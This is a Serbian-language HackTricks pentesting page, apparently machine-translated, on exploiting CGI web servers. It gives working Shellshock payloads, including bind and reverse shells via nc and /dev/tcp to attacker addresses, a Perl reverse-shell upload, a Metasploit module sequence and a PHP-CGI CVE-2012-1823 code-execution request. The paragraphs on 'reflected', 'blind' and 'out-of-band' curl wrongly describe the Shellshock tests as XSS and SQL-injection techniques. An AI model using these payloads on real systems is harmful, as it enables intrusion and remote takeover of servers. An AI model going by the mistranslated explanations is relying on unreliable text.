9.7 KiB
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Informacije
CGI skripte su perl skripte, pa ako ste kompromitovali server koji može izvršavati .cgi skripte, možete upload-ovati perl reverse shell `/usr/share/webshells/perl/perl-reverse-shell.pl`
, promeniti ekstenziju iz .pl u .cgi, dati dozvole za izvršavanje `chmod +x`
i pristupiti reverse shell-u iz web pregledača da ga izvršite.
Da biste testirali CGI ranjivosti, preporučuje se korišćenje nikto -C all
i sve dodatke
ShellShock
ShellShock je ranjivost koja utiče na široko korišćeni Bash komandni shell u Unix baziranim operativnim sistemima. Cilja sposobnost Basha da izvršava komande koje aplikacije prosleđuju. Ranjivost leži u manipulaciji okruženjskim promenljivama, koje su dinamički nazvane vrednosti koje utiču na način izvršavanja procesa na računaru. Napadači mogu iskoristiti ovo tako što pridružuju zlonameran kod okruženjskim promenljivama, koji se izvršava prilikom prijema promenljive. Ovo omogućava napadačima da potencijalno kompromituju sistem.
Iskorišćavanjem ove ranjivosti, stranica može prikazati grešku.
Možete pronaći ovu ranjivost primetivši da koristi stariju verziju Apache-a i cgi_mod sa cgi folderom
ili korišćenjem nikto-a.
Test
Većina testova se zasniva na ispisivanju nečega i očekivanju da se taj string vrati u web odgovoru. Ako mislite da je neka stranica ranjiva, potražite sve cgi stranice i testirajte ih.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (reflektovano, slepo i van opsega)
Reflected Curl
Reflektovani Curl je tehnika koja se koristi za otkrivanje ranjivosti reflektovanih XSS napada u aplikacijama. Ova tehnika uključuje slanje HTTP zahteva koji sadrže zlonamerni kod koji se reflektuje nazad na korisnika. Kada se korisnik izloži ovom zlonamernom kodu, napadač može izvršiti različite vrste napada, uključujući krađu kolačića ili preusmeravanje na zlonamerni sajt.
Blind Curl
Slepi Curl je tehnika koja se koristi za otkrivanje ranjivosti slepih SQL injekcija u aplikacijama. Ova tehnika uključuje slanje HTTP zahteva koji sadrže SQL upit koji se izvršava na serverskoj strani. Međutim, umesto da se rezultati upita prikažu korisniku, napadač koristi slepe tehnike za dobijanje informacija o bazi podataka. Ovo može uključivati izvršavanje upita koji vraćaju tačne ili netačne rezultate, kao i izvršavanje upita koji izazivaju odgovor sa kašnjenjem.
Out-of-Band Curl
Curl van opsega je tehnika koja se koristi za otkrivanje ranjivosti koje omogućavaju napadaču da komunicira sa spoljnim serverom izvan ciljne mreže. Ova tehnika uključuje slanje HTTP zahteva koji sadrže zlonamerni kod koji izaziva komunikaciju sa spoljnim serverom. Napadač može iskoristiti ovu komunikaciju za izvršavanje različitih vrsta napada, kao što su preuzimanje osetljivih podataka ili izvršavanje zlonamernih operacija na ciljnom sistemu.
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Iskorišćavanje ranjivosti
Remote Command Execution (RCE)
Ranjivosti u CGI skriptama često omogućavaju izvršavanje udaljenih komandi na serveru. Ova vrsta ranjivosti se naziva Remote Command Execution (RCE). Kada se ova ranjivost iskoristi, napadač može izvršavati proizvoljne komande na serveru.
Da biste iskoristili ovu ranjivost, prvo morate pronaći CGI skriptu koja je ranjiva. Zatim, trebate identifikovati način na koji se korisnički unos prosleđuje skripti. Ovo može biti putem URL parametara, HTTP zaglavlja ili formi. Nakon što identifikujete način prosleđivanja korisničkog unosa, možete pokušati ubaciti komandu koju želite izvršiti.
Na primer, ako je CGI skripta ranjiva i korisnički unos se prosleđuje putem URL parametara, možete pokušati ubaciti komandu u URL parametar. Na taj način, kada se skripta izvrši, vaša komanda će biti izvršena na serveru.
Evo primera URL parametra koji bi mogao biti iskorišćen za RCE:
http://example.com/cgi-bin/script.cgi?param=;ls
U ovom primeru, komanda ls
će biti izvršena na serveru. Napadač može koristiti ovu tehniku za izvršavanje bilo koje komande koju želi, uključujući i one koje mogu dovesti do daljeg kompromitovanja sistema.
Važno je napomenuti da je iskorišćavanje RCE ranjivosti nelegalno i može imati ozbiljne pravne posledice. Ove informacije su namenjene samo u edukativne svrhe i ne treba ih koristiti za neovlašćene aktivnosti.
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Proxy (MitM zahtevi web serveru)
CGI kreira okruženjsku promenljivu za svaki zaglavlje u HTTP zahtevu. Na primer: "host:web.com" se kreira kao "HTTP_HOST"="web.com"
Pošto se HTTP_PROXY promenljiva može koristiti od strane web servera, pokušajte da pošaljete zaglavlje koje sadrži: "Proxy: <IP_napadača>:<PORT>" i ako server izvrši bilo koji zahtev tokom sesije, bićete u mogućnosti da uhvatite svaki zahtev koji je server napravio.
Stari PHP + CGI = RCE CVE-2012-1823, CVE-2012-2311
U osnovi, ako je cgi aktivan i php je "star" <5.3.12 / < 5.4.2
možete izvršiti kod.
Da biste iskoristili ovu ranjivost, morate pristupiti nekom PHP fajlu web servera bez slanja parametara posebno bez slanja karaktera "="
.
Zatim, kako biste testirali ovu ranjivost, možete pristupiti na primer /index.php?-s
primetite `-s`
i izvorni kod aplikacije će se pojaviti u odgovoru.
Zatim, kako biste dobili RCE, možete poslati ovaj poseban upit: /?-d allow_url_include=1 -d auto_prepend_file=php://input
i PHP kod koji će biti izvršen u telo zahteva.
Primer:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Više informacija o ranjivosti i mogućim eksploatacijama: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Primer.
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju oglašenu na HackTricks-u ili preuzmete HackTricks u PDF formatu Pogledajte SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.